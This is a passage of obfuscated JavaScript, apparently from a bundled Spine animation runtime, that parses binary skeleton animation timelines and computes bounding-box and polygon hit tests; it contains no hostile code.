0xff, _0x31524a = _0x3477b3['readUnsignedByte']() / 0xff; for (let _0x36666e = 0x0, _0xe6b0d5 = 0x0; _0xf5b62a['setFrame'](_0x36666e, _0x2c33d1, _0xbdc896, _0x29986e, _0xc1a114, _0x6f3583, _0x1da23d, _0x31524a), _0x36666e != _0x55c3bb; _0x36666e++) { let _0x5c31da = _0x3477b3['readFloat'](), _0x4045a7 = _0x3477b3['readUnsignedByte']() / 0xff, _0x4656fc = _0x3477b3['readUnsignedByte']() / 0xff, _0x3afeb9 = _0x3477b3['readUnsignedByte']() / 0xff, _0x464b95 = _0x3477b3['readUnsignedByte']() / 0xff, _0x3d2ffe = _0x3477b3['readUnsignedByte']() / 0xff, _0x20db11 = _0x3477b3['readUnsignedByte']() / 0xff; switch (_0x3477b3['readByte']()) { case _0x39b3cb: _0xf5b62a['setStepped'](_0x36666e); break; case _0x46e409: _0x5eedd6(_0x3477b3, _0xf5b62a, _0xe6b0d5++, _0x36666e, 0x0, _0x2c33d1, _0x5c31da, _0xbdc896, _0x4045a7, 0x1), _0x5eedd6(_0x3477b3, _0xf5b62a, _0xe6b0d5++, _0x36666e, 0x1, _0x2c33d1, _0x5c31da, _0x29986e, _0x4656fc, 0x1), _0x5eedd6(_0x3477b3, _0xf5b62a, _0xe6b0d5++, _0x36666e, 0x2, _0x2c33d1, _0x5c31da, _0xc1a114, _0x3afeb9, 0x1), _0x5eedd6(_0x3477b3, _0xf5b62a, _0xe6b0d5++, _0x36666e, 0x3, _0x2c33d1, _0x5c31da, _0x6f3583, _0x464b95, 0x1), _0x5eedd6(_0x3477b3, _0xf5b62a, _0xe6b0d5++, _0x36666e, 0x4, _0x2c33d1, _0x5c31da, _0x1da23d, _0x3d2ffe, 0x1), _0x5eedd6(_0x3477b3, _0xf5b62a, _0xe6b0d5++, _0x36666e, 0x5, _0x2c33d1, _0x5c31da, _0x31524a, _0x20db11, 0x1); }_0x2c33d1 = _0x5c31da, _0xbdc896 = _0x4045a7, _0x29986e = _0x4656fc, _0xc1a114 = _0x3afeb9, _0x6f3583 = _0x464b95, _0x1da23d = _0x3d2ffe, _0x31524a = _0x20db11; } _0x15450e['push'](_0xf5b62a); break; } case _0x421e87: { let _0x3f68e3 = new _0x2bdc46(_0x6a4cac, _0x3477b3['readInt'](!0x0), _0x3852b1), _0x4c9620 = _0x3477b3['readFloat'](), _0x599edc = _0x3477b3['readUnsignedByte']() / 0xff; for (let _0x25c405 = 0x0, _0x39ed70 = 0x0; _0x3f68e3['setFrame'](_0x25c405, _0x4c9620, _0x599edc), _0x25c405 != _0x55c3bb; _0x25c405++) { let _0x2d7dfe = _0x3477b3['readFloat'](), _0x43ac5f = _0x3477b3['readUnsignedByte']() / 0xff; switch (_0x3477b3['readByte']()) { case _0x39b3cb: _0x3f68e3['setStepped'](_0x25c405); break; case _0x46e409: _0x5eedd6(_0x3477b3, _0x3f68e3, _0x39ed70++, _0x25c405, 0x0, _0x4c9620, _0x2d7dfe, _0x599edc, _0x43ac5f, 0x1); }_0x4c9620 = _0x2d7dfe, _0x599edc = _0x43ac5f; } _0x15450e['push'](_0x3f68e3); } } } } for (let _0x5508d0 = 0x0, _0x1453c5 = _0x3477b3['readInt'](!0x0); _0x5508d0 < _0x1453c5; _0x5508d0++) { let _0x3db773 = _0x3477b3['readInt'](!0x0); for (let _0x25e7f4 = 0x0, _0x23c4c8 = _0x3477b3['readInt'](!0x0); _0x25e7f4 < _0x23c4c8; _0x25e7f4++) { let _0x917d68 = _0x3477b3['readByte'](), _0x225cb3 = _0x3477b3['readInt'](!0x0), _0x3db334 = _0x3477b3['readInt'](!0x0); switch (_0x917d68) { case _0x357817: _0x15450e['push'](_0x46d176(_0x3477b3, new _0x1bb8f1(_0x225cb3, _0x3db334, _0x3db773), 0x1)); break; case _0x33e84c: _0x15450e['push'](_0x2bde35(_0x3477b3, new _0x4b4ba8(_0x225cb3, _0x3db334, _0x3db773), _0x20cada)); break; case _0x2ccbb6: _0x15450e['push'](_0x46d176(_0x3477b3, new _0x4c774a(_0x225cb3, _0x3db334, _0x3db773), _0x20cada)); break; case _0xf2cbb: _0x15450e['push'](_0x46d176(_0x3477b3, new _0x1c66a3(_0x225cb3, _0x3db334, _0x3db773), _0x20cada)); break; case _0xb9c453: _0x15450e['push'](_0x2bde35(_0x3477b3, new _0x5c8fbd(_0x225cb3, _0x3db334, _0x3db773), 0x1)); break; case _0x3b21fb: _0x15450e['push'](_0x46d176(_0x3477b3, new _0x20a45a(_0x225cb3, _0x3db334, _0x3db773), 0x1)); break; case _0x27de21: _0x15450e['push'](_0x46d176(_0x3477b3, new _0x692d7d(_0x225cb3, _0x3db334, _0x3db773), 0x1)); break; case _0x55380f: _0x15450e['push'](_0x2bde35(_0x3477b3, new _0x497e46(_0x225cb3, _0x3db334, _0x3db773), 0x1)); break; case _0x1832a9: _0x15450e['push'](_0x46d176(_0x3477b3, new _0x7108a2(_0x225cb3, _0x3db334, _0x3db773), 0x1)); break; case _0x48c52c: _0x15450e['push'](_0x46d176(_0x3477b3, new _0x2f5da0(_0x225cb3, _0x3db334, _0x3db773), 0x1)); } } } for (let _0x1b04b4 = 0x0, _0x3e539f = _0x3477b3['readInt'](!0x0); _0x1b04b4 < _0x3e539f; _0x1b04b4++) { let _0x5fbc97 = _0x3477b3['readInt'](!0x0), _0x58d5d3 = _0x3477b3['readInt'](!0x0), _0x25bb14 = _0x58d5d3 - 0x1, _0xe1985b = new _0x3a8a6e(_0x58d5d3, _0x3477b3['readInt'](!0x0), _0x5fbc97), _0x382178 = _0x3477b3['readFloat'](), _0xa6ef74 = _0x3477b3['readFloat'](), _0x5d6970 = _0x3477b3['readFloat']() * _0x20cada; for (let _0x5aa1e8 = 0x0, _0x5c2a31 = 0x0; _0xe1985b['setFrame'](_0x5aa1e8, _0x382178, _0xa6ef74, _0x5d6970, _0x3477b3['readByte'](), _0x3477b3['readBoolean'](), _0x3477b3['readBoolean']()), _0x5aa1e8 != _0x25bb14; _0x5aa1e8++) { let _0x419649 = _0x3477b3['readFloat'](), _0x1c89bf = _0x3477b3['readFloat'](), _0x231b0b = _0x3477b3['readFloat']() * _0x20cada; switch (_0x3477b3['readByte']()) { case _0x39b3cb: _0xe1985b['setStepped'](_0x5aa1e8); break; case _0x46e409: _0x5eedd6(_0x3477b3, _0xe1985b, _0x5c2a31++, _0x5aa1e8, 0x0, _0x382178, _0x419649, _0xa6ef74, _0x1c89bf, 0x1), _0x5eedd6(_0x3477b3, _0xe1985b, _0x5c2a31++, _0x5aa1e8, 0x1, _0x382178, _0x419649, _0x5d6970, _0x231b0b, _0x20cada); }_0x382178 = _0x419649, _0xa6ef74 = _0x1c89bf, _0x5d6970 = _0x231b0b; } _0x15450e['push'](_0xe1985b); } for (let _0x4e1f44 = 0x0, _0x54bbe5 = _0x3477b3['readInt'](!0x0); _0x4e1f44 < _0x54bbe5; _0x4e1f44++) { let _0x19e287 = _0x3477b3['readInt'](!0x0), _0x191c87 = _0x3477b3['readInt'](!0x0), _0x46c976 = _0x191c87 - 0x1, _0x10573d = new _0x140dbb(_0x191c87, _0x3477b3['readInt'](!0x0), _0x19e287), _0x389b01 = _0x3477b3['readFloat'](), _0x5032c6 = _0x3477b3['readFloat'](), _0x3e17b0 = _0x3477b3['readFloat'](), _0x106984 = _0x3477b3['readFloat'](), _0x36b157 = _0x3477b3['readFloat'](), _0x2a436d = _0x3477b3['readFloat'](), _0x501151 = _0x3477b3['readFloat'](); for (let _0x8fd181 = 0x0, _0x558511 = 0x0; _0x10573d['setFrame'](_0x8fd181, _0x389b01, _0x5032c6, _0x3e17b0, _0x106984, _0x36b157, _0x2a436d, _0x501151), _0x8fd181 != _0x46c976; _0x8fd181++) { let _0x11aea4 = _0x3477b3['readFloat'](), _0x38e0e5 = _0x3477b3['readFloat'](), _0xb7e920 = _0x3477b3['readFloat'](), _0x1cc608 = _0x3477b3['readFloat'](), _0x1ab702 = _0x3477b3['readFloat'](), _0x4d124c = _0x3477b3['readFloat'](), _0x5513ba = _0x3477b3['readFloat'](); switch (_0x3477b3['readByte']()) { case _0x39b3cb: _0x10573d['setStepped'](_0x8fd181); break; case _0x46e409: _0x5eedd6(_0x3477b3, _0x10573d, _0x558511++, _0x8fd181, 0x0, _0x389b01, _0x11aea4, _0x5032c6, _0x38e0e5, 0x1), _0x5eedd6(_0x3477b3, _0x10573d, _0x558511++, _0x8fd181, 0x1, _0x389b01, _0x11aea4, _0x3e17b0, _0xb7e920, 0x1), _0x5eedd6(_0x3477b3, _0x10573d, _0x558511++, _0x8fd181, 0x2, _0x389b01, _0x11aea4, _0x106984, _0x1cc608, 0x1), _0x5eedd6(_0x3477b3, _0x10573d, _0x558511++, _0x8fd181, 0x3, _0x389b01, _0x11aea4, _0x36b157, _0x1ab702, 0x1), _0x5eedd6(_0x3477b3, _0x10573d, _0x558511++, _0x8fd181, 0x4, _0x389b01, _0x11aea4, _0x2a436d, _0x4d124c, 0x1), _0x5eedd6(_0x3477b3, _0x10573d, _0x558511++, _0x8fd181, 0x5, _0x389b01, _0x11aea4, _0x501151, _0x5513ba, 0x1); }_0x389b01 = _0x11aea4, _0x5032c6 = _0x38e0e5, _0x3e17b0 = _0xb7e920, _0x106984 = _0x1cc608, _0x36b157 = _0x1ab702, _0x2a436d = _0x4d124c, _0x501151 = _0x5513ba; } _0x15450e['push'](_0x10573d); } for (let _0x54dad7 = 0x0, _0x571d06 = _0x3477b3['readInt'](!0x0); _0x54dad7 < _0x571d06; _0x54dad7++) { let _0x4c13fa = _0x3477b3['readInt'](!0x0), _0x277f2a = _0x45bcd5['pathConstraints'][_0x4c13fa]; for (let _0xc0086 = 0x0, _0x5c01d2 = _0x3477b3['readInt'](!0x0); _0xc0086 < _0x5c01d2; _0xc0086++)switch (_0x3477b3['readByte']()) { case _0x5115b3: _0x15450e['push'](_0x46d176(_0x3477b3, new _0x1f2b10(_0x3477b3['readInt'](!0x0), _0x3477b3['readInt'](!0x0), _0x4c13fa), 0x0 == _0x277f2a['positionMode'] ? _0x20cada : 0x1)); break; case _0x453de7: _0x15450e['push'](_0x46d176(_0x3477b3, new _0x4efc27(_0x3477b3['readInt'](!0x0), _0x3477b3['readInt'](!0x0), _0x4c13fa), 0x0 == _0x277f2a['spacingMode'] || 0x1 == _0x277f2a['spacingMode'] ? _0x20cada : 0x1)); break; case _0x5f431f: let _0x3c4190 = new _0x2fe414(_0x3477b3['readInt'](!0x0), _0x3477b3['readInt'](!0x0), _0x4c13fa), _0x135659 = _0x3477b3['readFloat'](), _0x48c736 = _0x3477b3['readFloat'](), _0x387e18 = _0x3477b3['readFloat'](), _0x1be8df = _0x3477b3['readFloat'](); for (let _0x4dd978 = 0x0, _0x15f98b = 0x0, _0x4970ae = _0x3c4190['getFrameCount']() - 0x1; _0x3c4190['setFrame'](_0x4dd978, _0x135659, _0x48c736, _0x387e18, _0x1be8df), _0x4dd978 != _0x4970ae; _0x4dd978++) { let _0xd80fe8 = _0x3477b3['readFloat'](), _0x474160 = _0x3477b3['readFloat'](), _0x8d97a5 = _0x3477b3['readFloat'](), _0xf8fee = _0x3477b3['readFloat'](); switch (_0x3477b3['readByte']()) { case _0x39b3cb: _0x3c4190['setStepped'](_0x4dd978); break; case _0x46e409: _0x5eedd6(_0x3477b3, _0x3c4190, _0x15f98b++, _0x4dd978, 0x0, _0x135659, _0xd80fe8, _0x48c736, _0x474160, 0x1), _0x5eedd6(_0x3477b3, _0x3c4190, _0x15f98b++, _0x4dd978, 0x1, _0x135659, _0xd80fe8, _0x387e18, _0x8d97a5, 0x1), _0x5eedd6(_0x3477b3, _0x3c4190, _0x15f98b++, _0x4dd978, 0x2, _0x135659, _0xd80fe8, _0x1be8df, _0xf8fee, 0x1); }_0x135659 = _0xd80fe8, _0x48c736 = _0x474160, _0x387e18 = _0x8d97a5, _0x1be8df = _0xf8fee; } _0x15450e['push'](_0x3c4190); } } for (let _0x5ea8f3 = 0x0, _0x406df4 = _0x3477b3['readInt'](!0x0); _0x5ea8f3 < _0x406df4; _0x5ea8f3++) { let _0x4c49a1 = _0x45bcd5['skins'][_0x3477b3['readInt'](!0x0)]; for (let _0x3d2ce4 = 0x0, _0x363a9c = _0x3477b3['readInt'](!0x0); _0x3d2ce4 < _0x363a9c; _0x3d2ce4++) { let _0x5508e0 = _0x3477b3['readInt'](!0x0); for (let _0x4979d9 = 0x0, _0x3ebbe5 = _0x3477b3['readInt'](!0x0); _0x4979d9 < _0x3ebbe5; _0x4979d9++) { let _0x553224 = _0x3477b3['readStringRef'](); if (!_0x553224) throw new Error('attachmentName\x20must\x20not\x20be\x20null.'); let _0x3ee88d = _0x4c49a1['getAttachment'](_0x5508e0, _0x553224), _0x4c628c = _0x3477b3['readByte'](), _0x2e2189 = _0x3477b3['readInt'](!0x0), _0x44c352 = _0x2e2189 - 0x1; switch (_0x4c628c) { case _0x3736c5: { let _0x2761a1 = _0x3ee88d, _0x4e167e = _0x2761a1['bones'], _0x52c471 = _0x2761a1['vertices'], _0x630c79 = _0x4e167e ? _0x52c471['length'] / 0x3 * 0x2 : _0x52c471['length'], _0x2c2ed2 = _0x3477b3['readInt'](!0x0), _0x18cd1a = new _0x342943(_0x2e2189, _0x2c2ed2, _0x5508e0, _0x2761a1), _0x7e229 = _0x3477b3['readFloat'](); for (let _0x150163 = 0x0, _0x3d38b7 = 0x0; ; _0x150163++) { let _0x251246, _0x2b9189 = _0x3477b3['readInt'](!0x0); if (0x0 == _0x2b9189) _0x251246 = _0x4e167e ? _0x380bba['newFloatArray'](_0x630c79) : _0x52c471; else { _0x251246 = _0x380bba['newFloatArray'](_0x630c79); let _0x1f321d = _0x3477b3['readInt'](!0x0); if (_0x2b9189 += _0x1f321d, 0x1 == _0x20cada) { for (let _0xf678e2 = _0x1f321d; _0xf678e2 < _0x2b9189; _0xf678e2++)_0x251246[_0xf678e2] = _0x3477b3['readFloat'](); } else { for (let _0x144e46 = _0x1f321d; _0x144e46 < _0x2b9189; _0x144e46++)_0x251246[_0x144e46] = _0x3477b3['readFloat']() * _0x20cada; } if (!_0x4e167e) { for (let _0x353ed0 = 0x0, _0x5d2e8a = _0x251246['length']; _0x353ed0 < _0x5d2e8a; _0x353ed0++)_0x251246[_0x353ed0] += _0x52c471[_0x353ed0]; } } if (_0x18cd1a['setFrame'](_0x150163, _0x7e229, _0x251246), _0x150163 == _0x44c352) break; let _0x168828 = _0x3477b3['readFloat'](); switch (_0x3477b3['readByte']()) { case _0x39b3cb: _0x18cd1a['setStepped'](_0x150163); break; case _0x46e409: _0x5eedd6(_0x3477b3, _0x18cd1a, _0x3d38b7++, _0x150163, 0x0, _0x7e229, _0x168828, 0x0, 0x1, 0x1); }_0x7e229 = _0x168828; } _0x15450e['push'](_0x18cd1a); break; } case _0x5055d1: { let _0x2f9fbd = new _0x363add(_0x2e2189, _0x5508e0, _0x3ee88d); for (let _0x26e653 = 0x0; _0x26e653 < _0x2e2189; _0x26e653++) { let _0x58f523 = _0x3477b3['readFloat'](), _0x59a44f = _0x3477b3['readInt32'](); _0x2f9fbd['setFrame'](_0x26e653, _0x58f523, _0x1c342c[0xf & _0x59a44f], _0x59a44f >> 0x4, _0x3477b3['readFloat']()); } _0x15450e['push'](_0x2f9fbd); break; } } } } } let _0x598b07 = _0x3477b3['readInt'](!0x0); if (_0x598b07 > 0x0) { let _0x2d2173 = new _0x45823e(_0x598b07), _0x2cc871 = _0x45bcd5['slots']['length']; for (let _0x557e6a = 0x0; _0x557e6a < _0x598b07; _0x557e6a++) { let _0x1bf910 = _0x3477b3['readFloat'](), _0x3d2879 = _0x3477b3['readInt'](!0x0), _0x1950e7 = _0x380bba['newArray'](_0x2cc871, 0x0); for (let _0x5310bb = _0x2cc871 - 0x1; _0x5310bb >= 0x0; _0x5310bb--)_0x1950e7[_0x5310bb] = -0x1; let _0x329e30 = _0x380bba['newArray'](_0x2cc871 - _0x3d2879, 0x0), _0x37918 = 0x0, _0x4e7655 = 0x0; for (let _0x388108 = 0x0; _0x388108 < _0x3d2879; _0x388108++) { let _0x45b72b = _0x3477b3['readInt'](!0x0); for (; _0x37918 != _0x45b72b;)_0x329e30[_0x4e7655++] = _0x37918++; _0x1950e7[_0x37918 + _0x3477b3['readInt'](!0x0)] = _0x37918++; } for (; _0x37918 < _0x2cc871;)_0x329e30[_0x4e7655++] = _0x37918++; for (let _0x17d857 = _0x2cc871 - 0x1; _0x17d857 >= 0x0; _0x17d857--)-0x1 == _0x1950e7[_0x17d857] && (_0x1950e7[_0x17d857] = _0x329e30[--_0x4e7655]); _0x2d2173['setFrame'](_0x557e6a, _0x1bf910, _0x1950e7); } _0x15450e['push'](_0x2d2173); } let _0xd7936e = _0x3477b3['readInt'](!0x0); if (_0xd7936e > 0x0) { let _0x6b43b0 = new _0x3c427f(_0xd7936e); for (let _0x4b876a = 0x0; _0x4b876a < _0xd7936e; _0x4b876a++) { let _0x3b86ed = _0x3477b3['readFloat'](), _0x1efa23 = _0x45bcd5['events'][_0x3477b3['readInt'](!0x0)], _0x3c08a9 = new _0x1d1b63(_0x3b86ed, _0x1efa23); _0x3c08a9['intValue'] = _0x3477b3['readInt'](!0x1), _0x3c08a9['floatValue'] = _0x3477b3['readFloat'](), _0x3c08a9['stringValue'] = _0x3477b3['readBoolean']() ? _0x3477b3['readString']() : _0x1efa23['stringValue'], _0x3c08a9['data']['audioPath'] && (_0x3c08a9['volume'] = _0x3477b3['readFloat'](), _0x3c08a9['balance'] = _0x3477b3['readFloat']()), _0x6b43b0['setFrame'](_0x4b876a, _0x3c08a9); } _0x15450e['push'](_0x6b43b0); } let _0x5c89a7 = 0x0; for (let _0x1773b7 = 0x0, _0x42e7af = _0x15450e['length']; _0x1773b7 < _0x42e7af; _0x1773b7++)_0x5c89a7 = Math['max'](_0x5c89a7, _0x15450e[_0x1773b7]['getDuration']()); return new _0x908e8c(_0x4acf09, _0x15450e, _0x5c89a7); } }, _0xf7c11c = class { constructor(_0x4e1d31, _0x73100 = new Array(), _0x5a3d73 = 0x0, _0x5d8177 = new DataView(_0x4e1d31['buffer'])) { this['strings'] = _0x73100, this['index'] = _0x5a3d73, this['buffer'] = _0x5d8177; } ['readByte']() { return this['buffer']['getInt8'](this['index']++); } ['readUnsignedByte']() { return this['buffer']['getUint8'](this['index']++); } ['readShort']() { let _0x13ffcf = this['buffer']['getInt16'](this['index']); return this['index'] += 0x2, _0x13ffcf; } ['readInt32']() { let _0x42c2ec = this['buffer']['getInt32'](this['index']); return this['index'] += 0x4, _0x42c2ec; } ['readInt'](_0x2eaedf) { let _0x55a8f2 = this['readByte'](), _0x11e4c7 = 0x7f & _0x55a8f2; return 0x0 != (0x80 & _0x55a8f2) && (_0x55a8f2 = this['readByte'](), _0x11e4c7 |= (0x7f & _0x55a8f2) << 0x7, 0x0 != (0x80 & _0x55a8f2) && (_0x55a8f2 = this['readByte'](), _0x11e4c7 |= (0x7f & _0x55a8f2) << 0xe, 0x0 != (0x80 & _0x55a8f2) && (_0x55a8f2 = this['readByte'](), _0x11e4c7 |= (0x7f & _0x55a8f2) << 0x15, 0x0 != (0x80 & _0x55a8f2) && (_0x55a8f2 = this['readByte'](), _0x11e4c7 |= (0x7f & _0x55a8f2) << 0x1c)))), _0x2eaedf ? _0x11e4c7 : _0x11e4c7 >>> 0x1 ^ -(0x1 & _0x11e4c7); } ['readStringRef']() { let _0x578177 = this['readInt'](!0x0); return 0x0 == _0x578177 ? null : this['strings'][_0x578177 - 0x1]; } ['readString']() { let _0xc68a35 = this['readInt'](!0x0); switch (_0xc68a35) { case 0x0: return null; case 0x1: return ''; }_0xc68a35--; let _0x1ef85c = ''; for (let _0x34b3a3 = 0x0; _0x34b3a3 < _0xc68a35;) { let _0x198ce9 = this['readUnsignedByte'](); switch (_0x198ce9 >> 0x4) { case 0xc: case 0xd: _0x1ef85c += String['fromCharCode']((0x1f & _0x198ce9) << 0x6 | 0x3f & this['readByte']()), _0x34b3a3 += 0x2; break; case 0xe: _0x1ef85c += String['fromCharCode']((0xf & _0x198ce9) << 0xc | (0x3f & this['readByte']()) << 0x6 | 0x3f & this['readByte']()), _0x34b3a3 += 0x3; break; default: _0x1ef85c += String['fromCharCode'](_0x198ce9), _0x34b3a3++; } } return _0x1ef85c; } ['readFloat']() { let _0x18f9d0 = this['buffer']['getFloat32'](this['index']); return this['index'] += 0x4, _0x18f9d0; } ['readBoolean']() { return 0x0 != this['readByte'](); } }, _0x19f2d4 = class { constructor(_0x5fcfca, _0x366656, _0x185991, _0x52365e, _0x3bea54) { this['mesh'] = _0x5fcfca, this['skin'] = _0x366656, this['slotIndex'] = _0x185991, this['parent'] = _0x52365e, this['inheritTimeline'] = _0x3bea54; } }, _0x5bd356 = class { constructor(_0x455469 = null, _0x4c8fdd = null) { this['bones'] = _0x455469, this['vertices'] = _0x4c8fdd; } }, _0x3e7142 = (_0x954979 => (_0x954979[_0x954979['Region'] = 0x0] = 'Region', _0x954979[_0x954979['BoundingBox'] = 0x1] = 'BoundingBox', _0x954979[_0x954979['Mesh'] = 0x2] = 'Mesh', _0x954979[_0x954979['LinkedMesh'] = 0x3] = 'LinkedMesh', _0x954979[_0x954979['Path'] = 0x4] = 'Path', _0x954979[_0x954979['Point'] = 0x5] = 'Point', _0x954979[_0x954979['Clipping'] = 0x6] = 'Clipping', _0x954979))(_0x3e7142 || {}); function _0x46d176(_0x5d2f26, _0x545705, _0x3df9ec) { let _0x12bce3 = _0x5d2f26['readFloat'](), _0x8784d0 = _0x5d2f26['readFloat']() * _0x3df9ec; for (let _0x4aa87e = 0x0, _0x222b8f = 0x0, _0x383ffd = _0x545705['getFrameCount']() - 0x1; _0x545705['setFrame'](_0x4aa87e, _0x12bce3, _0x8784d0), _0x4aa87e != _0x383ffd; _0x4aa87e++) { let _0x2ac2ad = _0x5d2f26['readFloat'](), _0xef48e5 = _0x5d2f26['readFloat']() * _0x3df9ec; switch (_0x5d2f26['readByte']()) { case _0x39b3cb: _0x545705['setStepped'](_0x4aa87e); break; case _0x46e409: _0x5eedd6(_0x5d2f26, _0x545705, _0x222b8f++, _0x4aa87e, 0x0, _0x12bce3, _0x2ac2ad, _0x8784d0, _0xef48e5, _0x3df9ec); }_0x12bce3 = _0x2ac2ad, _0x8784d0 = _0xef48e5; } return _0x545705; } function _0x2bde35(_0x3abae1, _0x544cca, _0x2f78a0) { let _0x5b1af9 = _0x3abae1['readFloat'](), _0x5045f3 = _0x3abae1['readFloat']() * _0x2f78a0, _0x1b5838 = _0x3abae1['readFloat']() * _0x2f78a0; for (let _0x5ccaf6 = 0x0, _0x4379b1 = 0x0, _0x1ac828 = _0x544cca['getFrameCount']() - 0x1; _0x544cca['setFrame'](_0x5ccaf6, _0x5b1af9, _0x5045f3, _0x1b5838), _0x5ccaf6 != _0x1ac828; _0x5ccaf6++) { let _0x2f84b5 = _0x3abae1['readFloat'](), _0x100c75 = _0x3abae1['readFloat']() * _0x2f78a0, _0x543b10 = _0x3abae1['readFloat']() * _0x2f78a0; switch (_0x3abae1['readByte']()) { case _0x39b3cb: _0x544cca['setStepped'](_0x5ccaf6); break; case _0x46e409: _0x5eedd6(_0x3abae1, _0x544cca, _0x4379b1++, _0x5ccaf6, 0x0, _0x5b1af9, _0x2f84b5, _0x5045f3, _0x100c75, _0x2f78a0), _0x5eedd6(_0x3abae1, _0x544cca, _0x4379b1++, _0x5ccaf6, 0x1, _0x5b1af9, _0x2f84b5, _0x1b5838, _0x543b10, _0x2f78a0); }_0x5b1af9 = _0x2f84b5, _0x5045f3 = _0x100c75, _0x1b5838 = _0x543b10; } return _0x544cca; } function _0x5eedd6(_0x108bd3, _0x5453fb, _0x12c516, _0x432218, _0x5b29d9, _0x439aa6, _0x43d119, _0x11b1a7, _0x1963fa, _0x3442e2) { _0x5453fb['setBezier'](_0x12c516, _0x432218, _0x5b29d9, _0x439aa6, _0x11b1a7, _0x108bd3['readFloat'](), _0x108bd3['readFloat']() * _0x3442e2, _0x108bd3['readFloat'](), _0x108bd3['readFloat']() * _0x3442e2, _0x43d119, _0x1963fa); } var _0x353fd3, _0x357817 = 0x0, _0x33e84c = 0x1, _0x2ccbb6 = 0x2, _0xf2cbb = 0x3, _0xb9c453 = 0x4, _0x3b21fb = 0x5, _0x27de21 = 0x6, _0x55380f = 0x7, _0x1832a9 = 0x8, _0x48c52c = 0x9, _0x1e9b93 = 0x0, _0x3221b7 = 0x1, _0x24ff22 = 0x2, _0x3fccc9 = 0x3, _0x246990 = 0x4, _0x421e87 = 0x5, _0x3736c5 = 0x0, _0x5055d1 = 0x1, _0x5115b3 = 0x0, _0x453de7 = 0x1, _0x5f431f = 0x2, _0x39b3cb = 0x1, _0x46e409 = 0x2, _0x2fcd34 = class { constructor() { this['minX'] = 0x0, this['minY'] = 0x0, this['maxX'] = 0x0, this['maxY'] = 0x0, this['boundingBoxes'] = new Array(), this['polygons'] = new Array(), this['polygonPool'] = new _0x100ce0(() => _0x380bba['newFloatArray'](0x10)); } ['update'](_0x359a71, _0x81ccf2) { if (!_0x359a71) throw new Error('skeleton\x20cannot\x20be\x20null.'); let _0x295ef = this['boundingBoxes'], _0x3d51ce = this['polygons'], _0x4629b3 = this['polygonPool'], _0x5e7c33 = _0x359a71['slots'], _0xb9269c = _0x5e7c33['length']; _0x295ef['length'] = 0x0, _0x4629b3['freeAll'](_0x3d51ce), _0x3d51ce['length'] = 0x0; for (let _0x52ab86 = 0x0; _0x52ab86 < _0xb9269c; _0x52ab86++) { let _0x2a70f9 = _0x5e7c33[_0x52ab86]; if (!_0x2a70f9['bone']['active']) continue; let _0x27ef7e = _0x2a70f9['getAttachment'](); if (_0x27ef7e instanceof _0xc3e958) { let _0x483896 = _0x27ef7e; _0x295ef['push'](_0x483896); let _0x2a087a = _0x4629b3['obtain'](); _0x2a087a['length'] != _0x483896['worldVerticesLength'] && (_0x2a087a = _0x380bba['newFloatArray'](_0x483896['worldVerticesLength'])), _0x3d51ce['push'](_0x2a087a), _0x483896['computeWorldVertices'](_0x2a70f9, 0x0, _0x483896['worldVerticesLength'], _0x2a087a, 0x0, 0x2); } } _0x81ccf2 ? this['aabbCompute']() : (this['minX'] = Number['POSITIVE_INFINITY'], this['minY'] = Number['POSITIVE_INFINITY'], this['maxX'] = Number['NEGATIVE_INFINITY'], this['maxY'] = Number['NEGATIVE_INFINITY']); } ['aabbCompute']() { let _0x27fb85 = Number['POSITIVE_INFINITY'], _0x55fba3 = Number['POSITIVE_INFINITY'], _0x2f5125 = Number['NEGATIVE_INFINITY'], _0xce9209 = Number['NEGATIVE_INFINITY'], _0x35941e = this['polygons']; for (let _0x5336d1 = 0x0, _0xeacf75 = _0x35941e['length']; _0x5336d1 < _0xeacf75; _0x5336d1++) { let _0x2b32b8 = _0x35941e[_0x5336d1], _0x35b857 = _0x2b32b8; for (let _0x2696cc = 0x0, _0x1b125b = _0x2b32b8['length']; _0x2696cc < _0x1b125b; _0x2696cc += 0x2) { let _0xbdfbc7 = _0x35b857[_0x2696cc], _0x452b43 = _0x35b857[_0x2696cc + 0x1]; _0x27fb85 = Math['min'](_0x27fb85, _0xbdfbc7), _0x55fba3 = Math['min'](_0x55fba3, _0x452b43), _0x2f5125 = Math['max'](_0x2f5125, _0xbdfbc7), _0xce9209 = Math['max'](_0xce9209, _0x452b43); } } this['minX'] = _0x27fb85, this['minY'] = _0x55fba3, this['maxX'] = _0x2f5125, this['maxY'] = _0xce9209; } ['aabbContainsPoint'](_0x35cc41, _0x3426b2) { return _0x35cc41 >= this['minX'] && _0x35cc41 <= this['maxX'] && _0x3426b2 >= this['minY'] && _0x3426b2 <= this['maxY']; } ['aabbIntersectsSegment'](_0x2e9f8c, _0x3eb769, _0x4984c1, _0x543108) { let _0x281e67 = this['minX'], _0x18af89 = this['minY'], _0x7914b5 = this['maxX'], _0x55b3e9 = this['maxY']; if (_0x2e9f8c <= _0x281e67 && _0x4984c1 <= _0x281e67 || _0x3eb769 <= _0x18af89 && _0x543108 <= _0x18af89 || _0x2e9f8c >= _0x7914b5 && _0x4984c1 >= _0x7914b5 || _0x3eb769 >= _0x55b3e9 && _0x543108 >= _0x55b3e9) return !0x1; let _0x1f4deb = (_0x543108 - _0x3eb769) / (_0x4984c1 - _0x2e9f8c), _0xe32976 = _0x1f4deb * (_0x281e67 - _0x2e9f8c) + _0x3eb769; if (_0xe32976 > _0x18af89 && _0xe32976 < _0x55b3e9) return !0x0; if (_0xe32976 = _0x1f4deb * (_0x7914b5 - _0x2e9f8c) + _0x3eb769, _0xe32976 > _0x18af89 && _0xe32976 < _0x55b3e9) return !0x0; let _0xf2c76b = (_0x18af89 - _0x3eb769) / _0x1f4deb + _0x2e9f8c; return _0xf2c76b > _0x281e67 && _0xf2c76b < _0x7914b5 || (_0xf2c76b = (_0x55b3e9 - _0x3eb769) / _0x1f4deb + _0x2e9f8c, _0xf2c76b > _0x281e67 && _0xf2c76b < _0x7914b5); } ['aabbIntersectsSkeleton'](_0x454fd0) { return this['minX'] < _0x454fd0['maxX'] && this['maxX'] > _0x454fd0['minX'] && this['minY'] < _0x454fd0['maxY'] && this['maxY'] > _0x454fd0['minY']; } ['containsPoint'](_0x42a86b, _0xd8198d) { let _0x3b7f7a = this['polygons']; for (let _0x5c833c = 0x0, _0x2a2f24 = _0x3b7f7a['length']; _0x5c833c < _0x2a2f24; _0x5c833c++)if (this['containsPointPolygon'](_0x3b7f7a[_0x5c833c], _0x42a86b, _0xd8198d)) return this['boundingBoxes'][_0x5c833c]; return null; } ['containsPointPolygon'](_0x72b508, _0x563a6f, _0x5b09de) { let _0x34ebe8 = _0x72b508, _0x175921 = _0x72b508['length'], _0x3eb124 = _0x175921 